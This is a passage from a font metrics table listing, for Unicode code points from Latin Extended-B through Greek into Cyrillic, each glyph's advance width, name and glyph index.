U 367 ; WX 644 ; N uring ; G 305
U 368 ; WX 843 ; N Uhungarumlaut ; G 306
U 369 ; WX 644 ; N uhungarumlaut ; G 307
U 370 ; WX 843 ; N Uogonek ; G 308
U 371 ; WX 644 ; N uogonek ; G 309
U 372 ; WX 1028 ; N Wcircumflex ; G 310
U 373 ; WX 856 ; N wcircumflex ; G 311
U 374 ; WX 660 ; N Ycircumflex ; G 312
U 375 ; WX 565 ; N ycircumflex ; G 313
U 376 ; WX 660 ; N Ydieresis ; G 314
U 377 ; WX 695 ; N Zacute ; G 315
U 378 ; WX 527 ; N zacute ; G 316
U 379 ; WX 695 ; N Zdotaccent ; G 317
U 380 ; WX 527 ; N zdotaccent ; G 318
U 381 ; WX 695 ; N Zcaron ; G 319
U 382 ; WX 527 ; N zcaron ; G 320
U 383 ; WX 370 ; N longs ; G 321
U 384 ; WX 640 ; N uni0180 ; G 322
U 385 ; WX 735 ; N uni0181 ; G 323
U 386 ; WX 735 ; N uni0182 ; G 324
U 387 ; WX 640 ; N uni0183 ; G 325
U 388 ; WX 735 ; N uni0184 ; G 326
U 389 ; WX 640 ; N uni0185 ; G 327
U 390 ; WX 765 ; N uni0186 ; G 328
U 391 ; WX 765 ; N uni0187 ; G 329
U 392 ; WX 560 ; N uni0188 ; G 330
U 393 ; WX 807 ; N uni0189 ; G 331
U 394 ; WX 802 ; N uni018A ; G 332
U 395 ; WX 735 ; N uni018B ; G 333
U 396 ; WX 640 ; N uni018C ; G 334
U 397 ; WX 602 ; N uni018D ; G 335
U 398 ; WX 730 ; N uni018E ; G 336
U 399 ; WX 820 ; N uni018F ; G 337
U 400 ; WX 623 ; N uni0190 ; G 338
U 401 ; WX 694 ; N uni0191 ; G 339
U 402 ; WX 370 ; N florin ; G 340
U 403 ; WX 799 ; N uni0193 ; G 341
U 404 ; WX 712 ; N uni0194 ; G 342
U 405 ; WX 932 ; N uni0195 ; G 343
U 406 ; WX 395 ; N uni0196 ; G 344
U 407 ; WX 395 ; N uni0197 ; G 345
U 408 ; WX 747 ; N uni0198 ; G 346
U 409 ; WX 606 ; N uni0199 ; G 347
U 410 ; WX 320 ; N uni019A ; G 348
U 411 ; WX 634 ; N uni019B ; G 349
U 412 ; WX 948 ; N uni019C ; G 350
U 413 ; WX 875 ; N uni019D ; G 351
U 414 ; WX 644 ; N uni019E ; G 352
U 415 ; WX 820 ; N uni019F ; G 353
U 416 ; WX 820 ; N Ohorn ; G 354
U 417 ; WX 602 ; N ohorn ; G 355
U 418 ; WX 1040 ; N uni01A2 ; G 356
U 419 ; WX 807 ; N uni01A3 ; G 357
U 420 ; WX 673 ; N uni01A4 ; G 358
U 421 ; WX 640 ; N uni01A5 ; G 359
U 422 ; WX 753 ; N uni01A6 ; G 360
U 423 ; WX 685 ; N uni01A7 ; G 361
U 424 ; WX 513 ; N uni01A8 ; G 362
U 425 ; WX 707 ; N uni01A9 ; G 363
U 426 ; WX 324 ; N uni01AA ; G 364
U 427 ; WX 402 ; N uni01AB ; G 365
U 428 ; WX 667 ; N uni01AC ; G 366
U 429 ; WX 402 ; N uni01AD ; G 367
U 430 ; WX 667 ; N uni01AE ; G 368
U 431 ; WX 843 ; N Uhorn ; G 369
U 432 ; WX 644 ; N uhorn ; G 370
U 433 ; WX 829 ; N uni01B1 ; G 371
U 434 ; WX 760 ; N uni01B2 ; G 372
U 435 ; WX 738 ; N uni01B3 ; G 373
U 436 ; WX 745 ; N uni01B4 ; G 374
U 437 ; WX 695 ; N uni01B5 ; G 375
U 438 ; WX 527 ; N uni01B6 ; G 376
U 439 ; WX 564 ; N uni01B7 ; G 377
U 440 ; WX 564 ; N uni01B8 ; G 378
U 441 ; WX 564 ; N uni01B9 ; G 379
U 442 ; WX 564 ; N uni01BA ; G 380
U 443 ; WX 636 ; N uni01BB ; G 381
U 444 ; WX 687 ; N uni01BC ; G 382
U 445 ; WX 564 ; N uni01BD ; G 383
U 446 ; WX 536 ; N uni01BE ; G 384
U 447 ; WX 635 ; N uni01BF ; G 385
U 448 ; WX 295 ; N uni01C0 ; G 386
U 449 ; WX 492 ; N uni01C1 ; G 387
U 450 ; WX 459 ; N uni01C2 ; G 388
U 451 ; WX 295 ; N uni01C3 ; G 389
U 452 ; WX 1497 ; N uni01C4 ; G 390
U 453 ; WX 1329 ; N uni01C5 ; G 391
U 454 ; WX 1167 ; N uni01C6 ; G 392
U 455 ; WX 1065 ; N uni01C7 ; G 393
U 456 ; WX 974 ; N uni01C8 ; G 394
U 457 ; WX 630 ; N uni01C9 ; G 395
U 458 ; WX 1276 ; N uni01CA ; G 396
U 459 ; WX 1185 ; N uni01CB ; G 397
U 460 ; WX 954 ; N uni01CC ; G 398
U 461 ; WX 722 ; N uni01CD ; G 399
U 462 ; WX 596 ; N uni01CE ; G 400
U 463 ; WX 395 ; N uni01CF ; G 401
U 464 ; WX 320 ; N uni01D0 ; G 402
U 465 ; WX 820 ; N uni01D1 ; G 403
U 466 ; WX 602 ; N uni01D2 ; G 404
U 467 ; WX 843 ; N uni01D3 ; G 405
U 468 ; WX 644 ; N uni01D4 ; G 406
U 469 ; WX 843 ; N uni01D5 ; G 407
U 470 ; WX 644 ; N uni01D6 ; G 408
U 471 ; WX 843 ; N uni01D7 ; G 409
U 472 ; WX 644 ; N uni01D8 ; G 410
U 473 ; WX 843 ; N uni01D9 ; G 411
U 474 ; WX 644 ; N uni01DA ; G 412
U 475 ; WX 843 ; N uni01DB ; G 413
U 476 ; WX 644 ; N uni01DC ; G 414
U 477 ; WX 592 ; N uni01DD ; G 415
U 478 ; WX 722 ; N uni01DE ; G 416
U 479 ; WX 596 ; N uni01DF ; G 417
U 480 ; WX 722 ; N uni01E0 ; G 418
U 481 ; WX 596 ; N uni01E1 ; G 419
U 482 ; WX 1001 ; N uni01E2 ; G 420
U 483 ; WX 940 ; N uni01E3 ; G 421
U 484 ; WX 848 ; N uni01E4 ; G 422
U 485 ; WX 640 ; N uni01E5 ; G 423
U 486 ; WX 799 ; N Gcaron ; G 424
U 487 ; WX 640 ; N gcaron ; G 425
U 488 ; WX 747 ; N uni01E8 ; G 426
U 489 ; WX 606 ; N uni01E9 ; G 427
U 490 ; WX 820 ; N uni01EA ; G 428
U 491 ; WX 602 ; N uni01EB ; G 429
U 492 ; WX 820 ; N uni01EC ; G 430
U 493 ; WX 602 ; N uni01ED ; G 431
U 494 ; WX 564 ; N uni01EE ; G 432
U 495 ; WX 564 ; N uni01EF ; G 433
U 496 ; WX 320 ; N uni01F0 ; G 434
U 497 ; WX 1497 ; N uni01F1 ; G 435
U 498 ; WX 1329 ; N uni01F2 ; G 436
U 499 ; WX 1167 ; N uni01F3 ; G 437
U 500 ; WX 799 ; N uni01F4 ; G 438
U 501 ; WX 640 ; N uni01F5 ; G 439
U 502 ; WX 1154 ; N uni01F6 ; G 440
U 503 ; WX 707 ; N uni01F7 ; G 441
U 504 ; WX 875 ; N uni01F8 ; G 442
U 505 ; WX 644 ; N uni01F9 ; G 443
U 506 ; WX 722 ; N Aringacute ; G 444
U 507 ; WX 596 ; N aringacute ; G 445
U 508 ; WX 1001 ; N AEacute ; G 446
U 509 ; WX 940 ; N aeacute ; G 447
U 510 ; WX 820 ; N Oslashacute ; G 448
U 511 ; WX 602 ; N oslashacute ; G 449
U 512 ; WX 722 ; N uni0200 ; G 450
U 513 ; WX 596 ; N uni0201 ; G 451
U 514 ; WX 722 ; N uni0202 ; G 452
U 515 ; WX 596 ; N uni0203 ; G 453
U 516 ; WX 730 ; N uni0204 ; G 454
U 517 ; WX 592 ; N uni0205 ; G 455
U 518 ; WX 730 ; N uni0206 ; G 456
U 519 ; WX 592 ; N uni0207 ; G 457
U 520 ; WX 395 ; N uni0208 ; G 458
U 521 ; WX 320 ; N uni0209 ; G 459
U 522 ; WX 395 ; N uni020A ; G 460
U 523 ; WX 320 ; N uni020B ; G 461
U 524 ; WX 820 ; N uni020C ; G 462
U 525 ; WX 602 ; N uni020D ; G 463
U 526 ; WX 820 ; N uni020E ; G 464
U 527 ; WX 602 ; N uni020F ; G 465
U 528 ; WX 753 ; N uni0210 ; G 466
U 529 ; WX 478 ; N uni0211 ; G 467
U 530 ; WX 753 ; N uni0212 ; G 468
U 531 ; WX 478 ; N uni0213 ; G 469
U 532 ; WX 843 ; N uni0214 ; G 470
U 533 ; WX 644 ; N uni0215 ; G 471
U 534 ; WX 843 ; N uni0216 ; G 472
U 535 ; WX 644 ; N uni0217 ; G 473
U 536 ; WX 685 ; N Scommaaccent ; G 474
U 537 ; WX 513 ; N scommaaccent ; G 475
U 538 ; WX 667 ; N uni021A ; G 476
U 539 ; WX 402 ; N uni021B ; G 477
U 540 ; WX 627 ; N uni021C ; G 478
U 541 ; WX 521 ; N uni021D ; G 479
U 542 ; WX 872 ; N uni021E ; G 480
U 543 ; WX 644 ; N uni021F ; G 481
U 544 ; WX 843 ; N uni0220 ; G 482
U 545 ; WX 814 ; N uni0221 ; G 483
U 546 ; WX 572 ; N uni0222 ; G 484
U 547 ; WX 552 ; N uni0223 ; G 485
U 548 ; WX 695 ; N uni0224 ; G 486
U 549 ; WX 527 ; N uni0225 ; G 487
U 550 ; WX 722 ; N uni0226 ; G 488
U 551 ; WX 596 ; N uni0227 ; G 489
U 552 ; WX 730 ; N uni0228 ; G 490
U 553 ; WX 592 ; N uni0229 ; G 491
U 554 ; WX 820 ; N uni022A ; G 492
U 555 ; WX 602 ; N uni022B ; G 493
U 556 ; WX 820 ; N uni022C ; G 494
U 557 ; WX 602 ; N uni022D ; G 495
U 558 ; WX 820 ; N uni022E ; G 496
U 559 ; WX 602 ; N uni022F ; G 497
U 560 ; WX 820 ; N uni0230 ; G 498
U 561 ; WX 602 ; N uni0231 ; G 499
U 562 ; WX 660 ; N uni0232 ; G 500
U 563 ; WX 565 ; N uni0233 ; G 501
U 564 ; WX 500 ; N uni0234 ; G 502
U 565 ; WX 832 ; N uni0235 ; G 503
U 566 ; WX 494 ; N uni0236 ; G 504
U 567 ; WX 310 ; N dotlessj ; G 505
U 568 ; WX 960 ; N uni0238 ; G 506
U 569 ; WX 960 ; N uni0239 ; G 507
U 570 ; WX 722 ; N uni023A ; G 508
U 571 ; WX 765 ; N uni023B ; G 509
U 572 ; WX 560 ; N uni023C ; G 510
U 573 ; WX 664 ; N uni023D ; G 511
U 574 ; WX 667 ; N uni023E ; G 512
U 575 ; WX 513 ; N uni023F ; G 513
U 576 ; WX 527 ; N uni0240 ; G 514
U 577 ; WX 583 ; N uni0241 ; G 515
U 578 ; WX 464 ; N uni0242 ; G 516
U 579 ; WX 735 ; N uni0243 ; G 517
U 580 ; WX 843 ; N uni0244 ; G 518
U 581 ; WX 722 ; N uni0245 ; G 519
U 582 ; WX 730 ; N uni0246 ; G 520
U 583 ; WX 592 ; N uni0247 ; G 521
U 584 ; WX 401 ; N uni0248 ; G 522
U 585 ; WX 315 ; N uni0249 ; G 523
U 586 ; WX 782 ; N uni024A ; G 524
U 587 ; WX 640 ; N uni024B ; G 525
U 588 ; WX 753 ; N uni024C ; G 526
U 589 ; WX 478 ; N uni024D ; G 527
U 590 ; WX 660 ; N uni024E ; G 528
U 591 ; WX 565 ; N uni024F ; G 529
U 592 ; WX 596 ; N uni0250 ; G 530
U 593 ; WX 675 ; N uni0251 ; G 531
U 594 ; WX 675 ; N uni0252 ; G 532
U 595 ; WX 640 ; N uni0253 ; G 533
U 596 ; WX 560 ; N uni0254 ; G 534
U 597 ; WX 560 ; N uni0255 ; G 535
U 598 ; WX 647 ; N uni0256 ; G 536
U 599 ; WX 683 ; N uni0257 ; G 537
U 600 ; WX 592 ; N uni0258 ; G 538
U 601 ; WX 592 ; N uni0259 ; G 539
U 602 ; WX 843 ; N uni025A ; G 540
U 603 ; WX 537 ; N uni025B ; G 541
U 604 ; WX 509 ; N uni025C ; G 542
U 605 ; WX 773 ; N uni025D ; G 543
U 606 ; WX 613 ; N uni025E ; G 544
U 607 ; WX 315 ; N uni025F ; G 545
U 608 ; WX 683 ; N uni0260 ; G 546
U 609 ; WX 640 ; N uni0261 ; G 547
U 610 ; WX 580 ; N uni0262 ; G 548
U 611 ; WX 599 ; N uni0263 ; G 549
U 612 ; WX 564 ; N uni0264 ; G 550
U 613 ; WX 644 ; N uni0265 ; G 551
U 614 ; WX 644 ; N uni0266 ; G 552
U 615 ; WX 644 ; N uni0267 ; G 553
U 616 ; WX 320 ; N uni0268 ; G 554
U 617 ; WX 392 ; N uni0269 ; G 555
U 618 ; WX 320 ; N uni026A ; G 556
U 619 ; WX 380 ; N uni026B ; G 557
U 620 ; WX 454 ; N uni026C ; G 558
U 621 ; WX 363 ; N uni026D ; G 559
U 622 ; WX 704 ; N uni026E ; G 560
U 623 ; WX 948 ; N uni026F ; G 561
U 624 ; WX 948 ; N uni0270 ; G 562
U 625 ; WX 948 ; N uni0271 ; G 563
U 626 ; WX 644 ; N uni0272 ; G 564
U 627 ; WX 694 ; N uni0273 ; G 565
U 628 ; WX 646 ; N uni0274 ; G 566
U 629 ; WX 602 ; N uni0275 ; G 567
U 630 ; WX 790 ; N uni0276 ; G 568
U 631 ; WX 821 ; N uni0277 ; G 569
U 632 ; WX 692 ; N uni0278 ; G 570
U 633 ; WX 501 ; N uni0279 ; G 571
U 634 ; WX 501 ; N uni027A ; G 572
U 635 ; WX 551 ; N uni027B ; G 573
U 636 ; WX 478 ; N uni027C ; G 574
U 637 ; WX 478 ; N uni027D ; G 575
U 638 ; WX 453 ; N uni027E ; G 576
U 639 ; WX 453 ; N uni027F ; G 577
U 640 ; WX 581 ; N uni0280 ; G 578
U 641 ; WX 581 ; N uni0281 ; G 579
U 642 ; WX 513 ; N uni0282 ; G 580
U 643 ; WX 271 ; N uni0283 ; G 581
U 644 ; WX 370 ; N uni0284 ; G 582
U 645 ; WX 487 ; N uni0285 ; G 583
U 646 ; WX 324 ; N uni0286 ; G 584
U 647 ; WX 402 ; N uni0287 ; G 585
U 648 ; WX 402 ; N uni0288 ; G 586
U 649 ; WX 644 ; N uni0289 ; G 587
U 650 ; WX 620 ; N uni028A ; G 588
U 651 ; WX 608 ; N uni028B ; G 589
U 652 ; WX 565 ; N uni028C ; G 590
U 653 ; WX 856 ; N uni028D ; G 591
U 654 ; WX 565 ; N uni028E ; G 592
U 655 ; WX 655 ; N uni028F ; G 593
U 656 ; WX 597 ; N uni0290 ; G 594
U 657 ; WX 560 ; N uni0291 ; G 595
U 658 ; WX 564 ; N uni0292 ; G 596
U 659 ; WX 560 ; N uni0293 ; G 597
U 660 ; WX 536 ; N uni0294 ; G 598
U 661 ; WX 536 ; N uni0295 ; G 599
U 662 ; WX 536 ; N uni0296 ; G 600
U 663 ; WX 420 ; N uni0297 ; G 601
U 664 ; WX 820 ; N uni0298 ; G 602
U 665 ; WX 563 ; N uni0299 ; G 603
U 666 ; WX 613 ; N uni029A ; G 604
U 667 ; WX 660 ; N uni029B ; G 605
U 668 ; WX 667 ; N uni029C ; G 606
U 669 ; WX 366 ; N uni029D ; G 607
U 670 ; WX 606 ; N uni029E ; G 608
U 671 ; WX 543 ; N uni029F ; G 609
U 672 ; WX 683 ; N uni02A0 ; G 610
U 673 ; WX 536 ; N uni02A1 ; G 611
U 674 ; WX 536 ; N uni02A2 ; G 612
U 675 ; WX 996 ; N uni02A3 ; G 613
U 676 ; WX 1033 ; N uni02A4 ; G 614
U 677 ; WX 998 ; N uni02A5 ; G 615
U 678 ; WX 823 ; N uni02A6 ; G 616
U 679 ; WX 598 ; N uni02A7 ; G 617
U 680 ; WX 825 ; N uni02A8 ; G 618
U 681 ; WX 894 ; N uni02A9 ; G 619
U 682 ; WX 725 ; N uni02AA ; G 620
U 683 ; WX 676 ; N uni02AB ; G 621
U 684 ; WX 598 ; N uni02AC ; G 622
U 685 ; WX 443 ; N uni02AD ; G 623
U 686 ; WX 781 ; N uni02AE ; G 624
U 687 ; WX 767 ; N uni02AF ; G 625
U 688 ; WX 433 ; N uni02B0 ; G 626
U 689 ; WX 430 ; N uni02B1 ; G 627
U 690 ; WX 264 ; N uni02B2 ; G 628
U 691 ; WX 347 ; N uni02B3 ; G 629
U 692 ; WX 347 ; N uni02B4 ; G 630
U 693 ; WX 430 ; N uni02B5 ; G 631
U 694 ; WX 392 ; N uni02B6 ; G 632
U 695 ; WX 539 ; N uni02B7 ; G 633
U 696 ; WX 355 ; N uni02B8 ; G 634
U 697 ; WX 278 ; N uni02B9 ; G 635
U 698 ; WX 460 ; N uni02BA ; G 636
U 699 ; WX 318 ; N uni02BB ; G 637
U 700 ; WX 318 ; N uni02BC ; G 638
U 701 ; WX 318 ; N uni02BD ; G 639
U 702 ; WX 307 ; N uni02BE ; G 640
U 703 ; WX 307 ; N uni02BF ; G 641
U 704 ; WX 280 ; N uni02C0 ; G 642
U 705 ; WX 281 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 282 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 282 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 720 ; WX 337 ; N uni02D0 ; G 656
U 721 ; WX 337 ; N uni02D1 ; G 657
U 722 ; WX 307 ; N uni02D2 ; G 658
U 723 ; WX 307 ; N uni02D3 ; G 659
U 726 ; WX 392 ; N uni02D6 ; G 660
U 727 ; WX 392 ; N uni02D7 ; G 661
U 728 ; WX 500 ; N breve ; G 662
U 729 ; WX 500 ; N dotaccent ; G 663
U 730 ; WX 500 ; N ring ; G 664
U 731 ; WX 500 ; N ogonek ; G 665
U 732 ; WX 500 ; N tilde ; G 666
U 733 ; WX 500 ; N hungarumlaut ; G 667
U 734 ; WX 417 ; N uni02DE ; G 668
U 736 ; WX 377 ; N uni02E0 ; G 669
U 737 ; WX 243 ; N uni02E1 ; G 670
U 738 ; WX 337 ; N uni02E2 ; G 671
U 739 ; WX 355 ; N uni02E3 ; G 672
U 740 ; WX 281 ; N uni02E4 ; G 673
U 741 ; WX 493 ; N uni02E5 ; G 674
U 742 ; WX 493 ; N uni02E6 ; G 675
U 743 ; WX 493 ; N uni02E7 ; G 676
U 744 ; WX 493 ; N uni02E8 ; G 677
U 745 ; WX 493 ; N uni02E9 ; G 678
U 748 ; WX 500 ; N uni02EC ; G 679
U 750 ; WX 484 ; N uni02EE ; G 680
U 751 ; WX 500 ; N uni02EF ; G 681
U 752 ; WX 500 ; N uni02F0 ; G 682
U 755 ; WX 500 ; N uni02F3 ; G 683
U 759 ; WX 500 ; N uni02F7 ; G 684
U 768 ; WX 0 ; N gravecomb ; G 685
U 769 ; WX 0 ; N acutecomb ; G 686
U 770 ; WX 0 ; N uni0302 ; G 687
U 771 ; WX 0 ; N tildecomb ; G 688
U 772 ; WX 0 ; N uni0304 ; G 689
U 773 ; WX 0 ; N uni0305 ; G 690
U 774 ; WX 0 ; N uni0306 ; G 691
U 775 ; WX 0 ; N uni0307 ; G 692
U 776 ; WX 0 ; N uni0308 ; G 693
U 777 ; WX 0 ; N hookabovecomb ; G 694
U 778 ; WX 0 ; N uni030A ; G 695
U 779 ; WX 0 ; N uni030B ; G 696
U 780 ; WX 0 ; N uni030C ; G 697
U 781 ; WX 0 ; N uni030D ; G 698
U 782 ; WX 0 ; N uni030E ; G 699
U 783 ; WX 0 ; N uni030F ; G 700
U 784 ; WX 0 ; N uni0310 ; G 701
U 785 ; WX 0 ; N uni0311 ; G 702
U 786 ; WX 0 ; N uni0312 ; G 703
U 787 ; WX 0 ; N uni0313 ; G 704
U 788 ; WX 0 ; N uni0314 ; G 705
U 789 ; WX 0 ; N uni0315 ; G 706
U 790 ; WX 0 ; N uni0316 ; G 707
U 791 ; WX 0 ; N uni0317 ; G 708
U 792 ; WX 0 ; N uni0318 ; G 709
U 793 ; WX 0 ; N uni0319 ; G 710
U 794 ; WX 0 ; N uni031A ; G 711
U 795 ; WX 0 ; N uni031B ; G 712
U 796 ; WX 0 ; N uni031C ; G 713
U 797 ; WX 0 ; N uni031D ; G 714
U 798 ; WX 0 ; N uni031E ; G 715
U 799 ; WX 0 ; N uni031F ; G 716
U 800 ; WX 0 ; N uni0320 ; G 717
U 801 ; WX 0 ; N uni0321 ; G 718
U 802 ; WX 0 ; N uni0322 ; G 719
U 803 ; WX 0 ; N dotbelowcomb ; G 720
U 804 ; WX 0 ; N uni0324 ; G 721
U 805 ; WX 0 ; N uni0325 ; G 722
U 806 ; WX 0 ; N uni0326 ; G 723
U 807 ; WX 0 ; N uni0327 ; G 724
U 808 ; WX 0 ; N uni0328 ; G 725
U 809 ; WX 0 ; N uni0329 ; G 726
U 810 ; WX 0 ; N uni032A ; G 727
U 811 ; WX 0 ; N uni032B ; G 728
U 812 ; WX 0 ; N uni032C ; G 729
U 813 ; WX 0 ; N uni032D ; G 730
U 814 ; WX 0 ; N uni032E ; G 731
U 815 ; WX 0 ; N uni032F ; G 732
U 816 ; WX 0 ; N uni0330 ; G 733
U 817 ; WX 0 ; N uni0331 ; G 734
U 818 ; WX 0 ; N uni0332 ; G 735
U 819 ; WX 0 ; N uni0333 ; G 736
U 820 ; WX 0 ; N uni0334 ; G 737
U 821 ; WX 0 ; N uni0335 ; G 738
U 822 ; WX 0 ; N uni0336 ; G 739
U 823 ; WX 0 ; N uni0337 ; G 740
U 824 ; WX 0 ; N uni0338 ; G 741
U 825 ; WX 0 ; N uni0339 ; G 742
U 826 ; WX 0 ; N uni033A ; G 743
U 827 ; WX 0 ; N uni033B ; G 744
U 828 ; WX 0 ; N uni033C ; G 745
U 829 ; WX 0 ; N uni033D ; G 746
U 830 ; WX 0 ; N uni033E ; G 747
U 831 ; WX 0 ; N uni033F ; G 748
U 835 ; WX 0 ; N uni0343 ; G 749
U 847 ; WX 0 ; N uni034F ; G 750
U 856 ; WX 0 ; N uni0358 ; G 751
U 864 ; WX 0 ; N uni0360 ; G 752
U 865 ; WX 0 ; N uni0361 ; G 753
U 880 ; WX 740 ; N uni0370 ; G 754
U 881 ; WX 531 ; N uni0371 ; G 755
U 882 ; WX 667 ; N uni0372 ; G 756
U 883 ; WX 553 ; N uni0373 ; G 757
U 884 ; WX 278 ; N uni0374 ; G 758
U 885 ; WX 278 ; N uni0375 ; G 759
U 886 ; WX 875 ; N uni0376 ; G 760
U 887 ; WX 667 ; N uni0377 ; G 761
U 890 ; WX 500 ; N uni037A ; G 762
U 891 ; WX 560 ; N uni037B ; G 763
U 892 ; WX 560 ; N uni037C ; G 764
U 893 ; WX 560 ; N uni037D ; G 765
U 894 ; WX 337 ; N uni037E ; G 766
U 895 ; WX 401 ; N uni037F ; G 767
U 900 ; WX 500 ; N tonos ; G 768
U 901 ; WX 500 ; N dieresistonos ; G 769
U 902 ; WX 722 ; N Alphatonos ; G 770
U 903 ; WX 318 ; N anoteleia ; G 771
U 904 ; WX 900 ; N Epsilontonos ; G 772
U 905 ; WX 1039 ; N Etatonos ; G 773
U 906 ; WX 562 ; N Iotatonos ; G 774
U 908 ; WX 835 ; N Omicrontonos ; G 775
U 910 ; WX 897 ; N Upsilontonos ; G 776
U 911 ; WX 853 ; N Omegatonos ; G 777
U 912 ; WX 392 ; N iotadieresistonos ; G 778
U 913 ; WX 722 ; N Alpha ; G 779
U 914 ; WX 735 ; N Beta ; G 780
U 915 ; WX 694 ; N Gamma ; G 781
U 916 ; WX 722 ; N uni0394 ; G 782
U 917 ; WX 730 ; N Epsilon ; G 783
U 918 ; WX 695 ; N Zeta ; G 784
U 919 ; WX 872 ; N Eta ; G 785
U 920 ; WX 820 ; N Theta ; G 786
U 921 ; WX 395 ; N Iota ; G 787
U 922 ; WX 747 ; N Kappa ; G 788
U 923 ; WX 722 ; N Lambda ; G 789
U 924 ; WX 1024 ; N Mu ; G 790
U 925 ; WX 875 ; N Nu ; G 791
U 926 ; WX 704 ; N Xi ; G 792
U 927 ; WX 820 ; N Omicron ; G 793
U 928 ; WX 872 ; N Pi ; G 794
U 929 ; WX 673 ; N Rho ; G 795
U 931 ; WX 707 ; N Sigma ; G 796
U 932 ; WX 667 ; N Tau ; G 797
U 933 ; WX 660 ; N Upsilon ; G 798
U 934 ; WX 820 ; N Phi ; G 799
U 935 ; WX 712 ; N Chi ; G 800
U 936 ; WX 877 ; N Psi ; G 801
U 937 ; WX 829 ; N Omega ; G 802
U 938 ; WX 395 ; N Iotadieresis ; G 803
U 939 ; WX 660 ; N Upsilondieresis ; G 804
U 940 ; WX 675 ; N alphatonos ; G 805
U 941 ; WX 537 ; N epsilontonos ; G 806
U 942 ; WX 599 ; N etatonos ; G 807
U 943 ; WX 392 ; N iotatonos ; G 808
U 944 ; WX 608 ; N upsilondieresistonos ; G 809
U 945 ; WX 675 ; N alpha ; G 810
U 946 ; WX 578 ; N beta ; G 811
U 947 ; WX 598 ; N gamma ; G 812
U 948 ; WX 602 ; N delta ; G 813
U 949 ; WX 537 ; N epsilon ; G 814
U 950 ; WX 542 ; N zeta ; G 815
U 951 ; WX 599 ; N eta ; G 816
U 952 ; WX 602 ; N theta ; G 817
U 953 ; WX 392 ; N iota ; G 818
U 954 ; WX 656 ; N kappa ; G 819
U 955 ; WX 634 ; N lambda ; G 820
U 956 ; WX 650 ; N uni03BC ; G 821
U 957 ; WX 608 ; N nu ; G 822
U 958 ; WX 551 ; N xi ; G 823
U 959 ; WX 602 ; N omicron ; G 824
U 960 ; WX 657 ; N pi ; G 825
U 961 ; WX 588 ; N rho ; G 826
U 962 ; WX 560 ; N sigma1 ; G 827
U 963 ; WX 683 ; N sigma ; G 828
U 964 ; WX 553 ; N tau ; G 829
U 965 ; WX 608 ; N upsilon ; G 830
U 966 ; WX 700 ; N phi ; G 831
U 967 ; WX 606 ; N chi ; G 832
U 968 ; WX 784 ; N psi ; G 833
U 969 ; WX 815 ; N omega ; G 834
U 970 ; WX 392 ; N iotadieresis ; G 835
U 971 ; WX 608 ; N upsilondieresis ; G 836
U 972 ; WX 602 ; N omicrontonos ; G 837
U 973 ; WX 608 ; N upsilontonos ; G 838
U 974 ; WX 815 ; N omegatonos ; G 839
U 975 ; WX 747 ; N uni03CF ; G 840
U 976 ; WX 583 ; N uni03D0 ; G 841
U 977 ; WX 715 ; N theta1 ; G 842
U 978 ; WX 687 ; N Upsilon1 ; G 843
U 979 ; WX 874 ; N uni03D3 ; G 844
U 980 ; WX 687 ; N uni03D4 ; G 845
U 981 ; WX 682 ; N phi1 ; G 846
U 982 ; WX 815 ; N omega1 ; G 847
U 983 ; WX 624 ; N uni03D7 ; G 848
U 984 ; WX 820 ; N uni03D8 ; G 849
U 985 ; WX 602 ; N uni03D9 ; G 850
U 986 ; WX 765 ; N uni03DA ; G 851
U 987 ; WX 560 ; N uni03DB ; G 852
U 988 ; WX 694 ; N uni03DC ; G 853
U 989 ; WX 463 ; N uni03DD ; G 854
U 990 ; WX 590 ; N uni03DE ; G 855
U 991 ; WX 660 ; N uni03DF ; G 856
U 992 ; WX 782 ; N uni03E0 ; G 857
U 993 ; WX 577 ; N uni03E1 ; G 858
U 1008 ; WX 624 ; N uni03F0 ; G 859
U 1009 ; WX 588 ; N uni03F1 ; G 860
U 1010 ; WX 560 ; N uni03F2 ; G 861
U 1011 ; WX 310 ; N uni03F3 ; G 862
U 1012 ; WX 820 ; N uni03F4 ; G 863
U 1013 ; WX 560 ; N uni03F5 ; G 864
U 1014 ; WX 560 ; N uni03F6 ; G 865
U 1015 ; WX 676 ; N uni03F7 ; G 866
U 1016 ; WX 640 ; N uni03F8 ; G 867
U 1017 ; WX 765 ; N uni03F9 ; G 868
U 1018 ; WX 1024 ; N uni03FA ; G 869
U 1019 ; WX 708 ; N uni03FB ; G 870
U 1020 ; WX 588 ; N uni03FC ; G 871
U 1021 ; WX 765 ; N uni03FD ; G 872
U 1022 ; WX 765 ; N uni03FE ; G 873
U 1023 ; WX 765 ; N uni03FF ; G 874
U 1024 ; WX 730 ; N uni0400 ; G 875
U 1025 ; WX 730 ; N uni0401 ; G 876
U 1026 ; WX 799 ; N uni0402 ; G 877
U 1027 ; WX 662 ; N uni0403 ; G 878
U 1028 ; WX 765 ; N uni0404 ; G 879
U 1029 ; WX 685 ; N uni0405 ; G 880
U 1030 ; WX 395 ; N uni0406 ; G 881
U 1031 ; WX 395 ; N uni0407 ; G 882
U 1032 ; WX 401 ; N uni0408 ; G 883
U 1033 ; WX 1084 ; N uni0409 ; G 884
U 1034 ; WX 1118 ; N uni040A ; G 885
U 1035 ; WX 872 ; N uni040B ; G 886
U 1036 ; WX 774 ; N uni040C ; G 887
U 1037 ; WX 872 ; N uni040D ; G 888
U 1038 ; WX 723 ; N uni040E ; G 889
U 1039 ; WX 872 ; N uni040F ; G 890
U 1040 ; WX 757 ; N uni0410 ; G 891
U 1041 ; WX 735 ; N uni0411 ; G 892
U 1042 ; WX 735 ; N uni0412 ; G 893
U 1043 ; WX 662 ; N uni0413 ; G 894
U 1044 ; WX 813 ; N uni0414 ; G 895
U 1045 ; WX 730 ; N uni0415 ; G 896
U 1046 ; WX 1124 ; N uni0416 ; G 897
U 1047 ; WX 623 ; N uni0417 ; G 898
U 1048 ; WX 872 ; N uni0418 ; G 899
U 1049 ; WX 872 ; N uni0419 ; G 900
U 1050 ; WX 774 ; N uni041A ; G 901
U 1051 ; WX 834 ; N uni041B ; G 902
U 1052 ; WX 1024 ; N uni041C ; G 903
